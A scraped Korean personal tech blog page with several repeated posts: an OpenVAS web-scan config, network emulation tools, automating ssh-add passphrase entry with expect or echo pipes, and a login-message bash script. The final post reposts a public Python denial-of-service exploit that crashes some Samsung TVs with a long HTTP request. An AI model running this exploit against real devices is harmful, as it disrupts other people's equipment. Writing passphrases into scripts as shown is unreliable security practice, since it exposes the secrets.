openvas를 설치하면 기본적인 스캔은 제공이 되는데
웹에 대한 스캔은 유저가 개별적으로 작성을 해야 한다
구글 검색 중에 web scan.xml 파일을 찾았기에 공유하고자 한다
openvas web scan
http://www.greenbone.nl/download/web-app-scan.xml
해당 파일을 다운 받아서 openvas scan config 에 등록 import 하면 된다
다음은 설정이 정상 등록 됐을 때 클릭한 화면
20171129
VMware kali 2017.3 설치 후 테스트 하려고
해당 파일을 찾으려니 없다.
2017년 7월 11일 화요일
2017년 6월 4일 일요일
네트워크 구성 및 테스트 툴
네트워크 구성 및 테스트 툴
http://imunes.net/
VMware 이미지 등을 다운 받을 수 있다
구글에서
emulate network topology
로 검색하면 더 많은 결과를 확인할 수 있다
http://imunes.net/
VMware 이미지 등을 다운 받을 수 있다
구글에서
emulate network topology
로 검색하면 더 많은 결과를 확인할 수 있다
Category :
IT Study
2013년 8월 21일 수요일
리눅스 자동 완성하는 쉘 스크립트 expect와 tpipe
리눅스 쉘 스크립트를 작성할 때
보통 자동처리 방식을 원하기 때문에 작성을 많이한다
이때, 필수적으로 암호를 입력해야 할 때가 있다
이번 블로그는 이런 암호도 자동으로 완성해서 운영되는 쉘 스크립트 작성할 때의 팁이다
자동 완성할 때의 환경이 여러가지 있는데
이제까지 찾은 두가지 방법을 기술해 보고자 한다
리눅스 터미널에서 ssh-add 등을 입력해서 비밀키를 입력해야하는 환경이라 가정을 해 보자
$ /usr/bin/ssh-add /home/bloodstorm/.ssh/id_rsa [Enter]
Enter passphrase for /home/bloodstom/.ssh/id_rsa: _
자동으로 진행되서 처리해야하는 부분에서 위와 같은 입력, 혹은 암호 입력을 요구할 때 쉘 스크립트가 막힐 수 있다
1. expect 쉘 스크립트 작성
일반 쉘 스크립트를 작성할 때
쉘 스크립트 상단 처음 부분에 다음과 같이 입력한다
#!/bin/bash
하지만 expect 를 사용할 때는 다르게 입력 후 사용해야 한다
#!/usr/bin/expect
이후 작성 방법은 쉘 스크립트와 동일하지만
선언하는 파일이 bash 가 아닌 expect 이기 때문에 같지만 다른 쉘 스크립트가 된다는 것을 잊으면 안된다
[예시] - 위 ssh-add 시 암호 입력을 요구할 때의 예시
#!/usr/bin/expect
spawn bash -c "/usr/bin/ssh-add /home/bloodstorm/.ssh/id_rsa";
expect -re "id_rsa"
send "[암호 및 입력해야할 내용]\r"
interact
spawn bash 를 불러와서 bash 를 이용해서 쉘을 실행한다
expect -re 를 이용, 암호 및 입력해야할 내용이 발생하는 지점을 찾는다
send 부분에서는 이 암호 및 입력해야할 내용을 입력 후, \r 입력 완료 메시지를 넣고
interact 암호 입력 쉘을 끝낸다
전체 쉘 스크립트를 작성 후
암호 및 입력을 해서 지나가야하는 부분만 부분 쉘로 작성하면
자동 완성하는 전체적인 쉘 스크립트를 만들 수 있다
2. tpipe 를 이용한 bash 쉘 스크립트 작성
bash 쉘 스크립트를 작성할 때
위와 같은 암호나 입력이 필요로 할 때 사용한다
사용 방법은 expect 보다 훨씬 더 간편하다
bash 쉘 스크립트 작성 중 중간에 강제 입력을 해야하는 부분이 있으면
tpipe()
{
echo '[강제 입력 내용]'
}
tpipe | /usr/bin/ssh-add /home/bloodstorm/.ssh/id_rsa
expect 처럼 쉘을 또 만들어서 사용하는 것이 아니라
bash 쉘 스크립트 내에서 끝낼 수 있다
하지만 tpipe 는 적용이 될 때도 있고 안될 때도 있으니
반드시 우선 테스트를 해 본 후 전체 적용하는 것이 좋을 것이다
보통 자동처리 방식을 원하기 때문에 작성을 많이한다
이때, 필수적으로 암호를 입력해야 할 때가 있다
이번 블로그는 이런 암호도 자동으로 완성해서 운영되는 쉘 스크립트 작성할 때의 팁이다
자동 완성할 때의 환경이 여러가지 있는데
이제까지 찾은 두가지 방법을 기술해 보고자 한다
리눅스 터미널에서 ssh-add 등을 입력해서 비밀키를 입력해야하는 환경이라 가정을 해 보자
$ /usr/bin/ssh-add /home/bloodstorm/.ssh/id_rsa [Enter]
Enter passphrase for /home/bloodstom/.ssh/id_rsa: _
자동으로 진행되서 처리해야하는 부분에서 위와 같은 입력, 혹은 암호 입력을 요구할 때 쉘 스크립트가 막힐 수 있다
1. expect 쉘 스크립트 작성
일반 쉘 스크립트를 작성할 때
쉘 스크립트 상단 처음 부분에 다음과 같이 입력한다
#!/bin/bash
하지만 expect 를 사용할 때는 다르게 입력 후 사용해야 한다
#!/usr/bin/expect
이후 작성 방법은 쉘 스크립트와 동일하지만
선언하는 파일이 bash 가 아닌 expect 이기 때문에 같지만 다른 쉘 스크립트가 된다는 것을 잊으면 안된다
[예시] - 위 ssh-add 시 암호 입력을 요구할 때의 예시
#!/usr/bin/expect
spawn bash -c "/usr/bin/ssh-add /home/bloodstorm/.ssh/id_rsa";
expect -re "id_rsa"
send "[암호 및 입력해야할 내용]\r"
interact
spawn bash 를 불러와서 bash 를 이용해서 쉘을 실행한다
expect -re 를 이용, 암호 및 입력해야할 내용이 발생하는 지점을 찾는다
send 부분에서는 이 암호 및 입력해야할 내용을 입력 후, \r 입력 완료 메시지를 넣고
interact 암호 입력 쉘을 끝낸다
전체 쉘 스크립트를 작성 후
암호 및 입력을 해서 지나가야하는 부분만 부분 쉘로 작성하면
자동 완성하는 전체적인 쉘 스크립트를 만들 수 있다
2. tpipe 를 이용한 bash 쉘 스크립트 작성
bash 쉘 스크립트를 작성할 때
위와 같은 암호나 입력이 필요로 할 때 사용한다
사용 방법은 expect 보다 훨씬 더 간편하다
bash 쉘 스크립트 작성 중 중간에 강제 입력을 해야하는 부분이 있으면
tpipe()
{
echo '[강제 입력 내용]'
}
tpipe | /usr/bin/ssh-add /home/bloodstorm/.ssh/id_rsa
expect 처럼 쉘을 또 만들어서 사용하는 것이 아니라
bash 쉘 스크립트 내에서 끝낼 수 있다
하지만 tpipe 는 적용이 될 때도 있고 안될 때도 있으니
반드시 우선 테스트를 해 본 후 전체 적용하는 것이 좋을 것이다
리눅스 로그인 메시지 만들기
리눅스 서버를 사용하면
그 서버를 사용하는 사용자들에게 공통으로 정보를 제공해 주어야할 때가 있다
리눅스에서는 로그인할 때 다음 3개의 파일에서 접속자들에게 메시지를 보여줄 수 있다
/etc/issue.net - 외부에서 접근한 로그인 시 출력
/etc/issue - 내부에서 접근한 로그인 시 출력
/etc/motd - 로그인 후 보여주는 화면
이번 블록는 /etc/motd 파일을 수정해서 로그인 사용자들에게 메시지를 출력하는 것이다
보통 리눅스 접속은 ssh, 콘솔, CUI 환경으로 접속할 경우가 많기 때문에
해당 파일을 순서대로 수정한다
/etc/ssh/sshd_config
PrintMotd
부분이 있을 것이다.
yes 로 변경 후 # 주석처리를 제거한다
로그인 후 강제실행할 쉘을 만들어서 해당 파일을 지정해야 한다
/etc/profile
해당 파일을 열어서 강제 실행이 되는 쉘, 로그인 시 메시지를 출력할 쉘의 위치를 지정한다
리눅스 공통 관리 위치를 지정했다
/usr/local/bin/dynmotd
/etc/profile 파일 내 내가 메시지를 출력할 쉘 파일 위치를 적고서 저장하고 나온다
이제는 로그인 후 보여주는, 메시지 출력하는 파일을 열어서 작업을 수행한다
여기는 쉘 스크립트로 작업을 해야한다
#!/bin/bash
echo ' '
echo -e '\033[41m서버에 접속한 것을 환영합니다\033[0m'
hostname=`hostname`
echo -e '\033[36mHostName = \033[0m' '\033[32m'$hostname'\033[0m'
osinfo=`lsb_release -d | awk -F':' '{print $2}' | sed -e 's/\t//g'`
echo -e '\033[36mOS info = \033[0m' '\033[32m'$osinfo'\033[0m'
kernelinfo=`uname -r`
echo -e '\033[36mLinuxKernel = \033[0m' '\033[32m'$kernelinfo'\033[0m'
kernelmac=`uname -m`
echo -e '\033[36mHW Machine = \033[0m' '\033[32m'$kernelmac'\033[0m'
CPU=`cat /proc/cpuinfo | grep "model name" | head -n 1 | awk -F ':' '{print $2}'`
echo -e '\033[36mCPU info =\033[0m' '\033[32m'$CPU'\033[0m'
echo -e '\033[33m----------------------------------------------------------------------\033[0m'
Username=`whoami`
echo -e '\033[36mUserName = \033[0m' '\033[32m'$Username'\033[0m'
echo -e '\033[36mUserHomeDir = \033[0m' '\033[32m'$HOME'\033[0m'
whoami=`whoami`
Lastlogin=`lastlog | grep $whoami | tail -n 1`
echo -e '\033[36mLastLogin = \033[0m' '\033[32m'$Lastlogin'\033[0m'
echo -e '\033[33m----------------------------------------------------------------------\033[0m'
bashver=`bash --version | head -n 1`
echo -e '\033[36mBash Ver. = \033[0m' '\033[32m'$bashver'\033[0m'
gccver=`gcc --version | head -n 1`
echo -e '\033[36mGCC Ver. = \033[0m' '\033[32m'$gccver'\033[0m'
echo -n -e '\033[36mJavac Ver. = \033[0m\033[32m'
javaver=`javac -version`
svnver=`svn --version | head -n 1`
echo -e '\033[36mSVN Ver. = \033[0m' '\033[32m'$svnver'\033[0m'
gitver=`git --version | head -n 1`
echo -e '\033[36mGIT Ver. = \033[0m' '\033[32m'$gitver'\033[0m'
echo ' '
java 버전을 출력하는 것은 무슨 문제인지 다른 것들처럼 동일하게 처리가 되지 않아서 시간이 걸렸다
그 서버를 사용하는 사용자들에게 공통으로 정보를 제공해 주어야할 때가 있다
리눅스에서는 로그인할 때 다음 3개의 파일에서 접속자들에게 메시지를 보여줄 수 있다
/etc/issue.net - 외부에서 접근한 로그인 시 출력
/etc/issue - 내부에서 접근한 로그인 시 출력
/etc/motd - 로그인 후 보여주는 화면
이번 블록는 /etc/motd 파일을 수정해서 로그인 사용자들에게 메시지를 출력하는 것이다
보통 리눅스 접속은 ssh, 콘솔, CUI 환경으로 접속할 경우가 많기 때문에
해당 파일을 순서대로 수정한다
/etc/ssh/sshd_config
PrintMotd
부분이 있을 것이다.
yes 로 변경 후 # 주석처리를 제거한다
로그인 후 강제실행할 쉘을 만들어서 해당 파일을 지정해야 한다
/etc/profile
해당 파일을 열어서 강제 실행이 되는 쉘, 로그인 시 메시지를 출력할 쉘의 위치를 지정한다
리눅스 공통 관리 위치를 지정했다
/usr/local/bin/dynmotd
/etc/profile 파일 내 내가 메시지를 출력할 쉘 파일 위치를 적고서 저장하고 나온다
이제는 로그인 후 보여주는, 메시지 출력하는 파일을 열어서 작업을 수행한다
여기는 쉘 스크립트로 작업을 해야한다
#!/bin/bash
echo ' '
echo -e '\033[41m서버에 접속한 것을 환영합니다\033[0m'
hostname=`hostname`
echo -e '\033[36mHostName = \033[0m' '\033[32m'$hostname'\033[0m'
osinfo=`lsb_release -d | awk -F':' '{print $2}' | sed -e 's/\t//g'`
echo -e '\033[36mOS info = \033[0m' '\033[32m'$osinfo'\033[0m'
kernelinfo=`uname -r`
echo -e '\033[36mLinuxKernel = \033[0m' '\033[32m'$kernelinfo'\033[0m'
kernelmac=`uname -m`
echo -e '\033[36mHW Machine = \033[0m' '\033[32m'$kernelmac'\033[0m'
CPU=`cat /proc/cpuinfo | grep "model name" | head -n 1 | awk -F ':' '{print $2}'`
echo -e '\033[36mCPU info =\033[0m' '\033[32m'$CPU'\033[0m'
echo -e '\033[33m----------------------------------------------------------------------\033[0m'
Username=`whoami`
echo -e '\033[36mUserName = \033[0m' '\033[32m'$Username'\033[0m'
echo -e '\033[36mUserHomeDir = \033[0m' '\033[32m'$HOME'\033[0m'
whoami=`whoami`
Lastlogin=`lastlog | grep $whoami | tail -n 1`
echo -e '\033[36mLastLogin = \033[0m' '\033[32m'$Lastlogin'\033[0m'
echo -e '\033[33m----------------------------------------------------------------------\033[0m'
bashver=`bash --version | head -n 1`
echo -e '\033[36mBash Ver. = \033[0m' '\033[32m'$bashver'\033[0m'
gccver=`gcc --version | head -n 1`
echo -e '\033[36mGCC Ver. = \033[0m' '\033[32m'$gccver'\033[0m'
echo -n -e '\033[36mJavac Ver. = \033[0m\033[32m'
javaver=`javac -version`
svnver=`svn --version | head -n 1`
echo -e '\033[36mSVN Ver. = \033[0m' '\033[32m'$svnver'\033[0m'
gitver=`git --version | head -n 1`
echo -e '\033[36mGIT Ver. = \033[0m' '\033[32m'$gitver'\033[0m'
echo ' '
java 버전을 출력하는 것은 무슨 문제인지 다른 것들처럼 동일하게 처리가 되지 않아서 시간이 걸렸다
2013년 7월 25일 목요일
samsung PS50C7700 plasma TV - DoS 공격 방법 및 시연 동영상
언제 삭제가 될지 모르고 언제 없어질지 모르는 방법이기에 블로그에 작성한다
뉴스 글 업로드
http://thehackernews.com/2013/07/network-enabled-samsung-tvs-vulnerable.html
http://www.exploit-db.com 에 올라온 DoS 공격코드
코드 공개 URL
http://www.exploit-db.com/exploits/27043/
다음은 시연 동영상
python 코드로 간결하게 작성되었으며
vulnerability 취약점에 대한 공격이기 때문에
앞으로 더 발전된 코드가 나올 것 같다
뉴스 글 업로드
http://thehackernews.com/2013/07/network-enabled-samsung-tvs-vulnerable.html
http://www.exploit-db.com 에 올라온 DoS 공격코드
코드 공개 URL
http://www.exploit-db.com/exploits/27043/
#!/usr/bin/python# Exploit Title: Samsung TV Denial of Service (DoS) Attack# Date: 07/21/2013# Exploit Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com# CVE Number: CVE-2013-4890# Vendor Homepage: http://www.samsung.com# Description: Resets some Samsung TVs# The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long HTTP GET request# Tested successfully on my Samsung PS50C7700 plasma TV :) import httplibimport sysimport osprint " ***************************************************************************************"print " Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com\n"print " Exploit: Denial of Service (DoS) attack\n"print " Description: Resets some Samsung TVs\n"print " The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long request."print " Tested successfully on my Samsung PS50C7700 plasma TV :)\n"print " ***************************************************************************************\n"# Sends the payloadprint " Sending the malicious payload...\n"conn = httplib.HTTPConnection(sys.argv[1],5600)conn.request("GET", "A"*300)conn.close()# Checks the responseprint " Checking the status... (CTRL+Z to stop)\n"response = 0while response == 0: response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1") if response != 0: print " Target down!\n"다음은 시연 동영상
python 코드로 간결하게 작성되었으며
vulnerability 취약점에 대한 공격이기 때문에
앞으로 더 발전된 코드가 나올 것 같다
피드 구독하기:
글 (Atom)
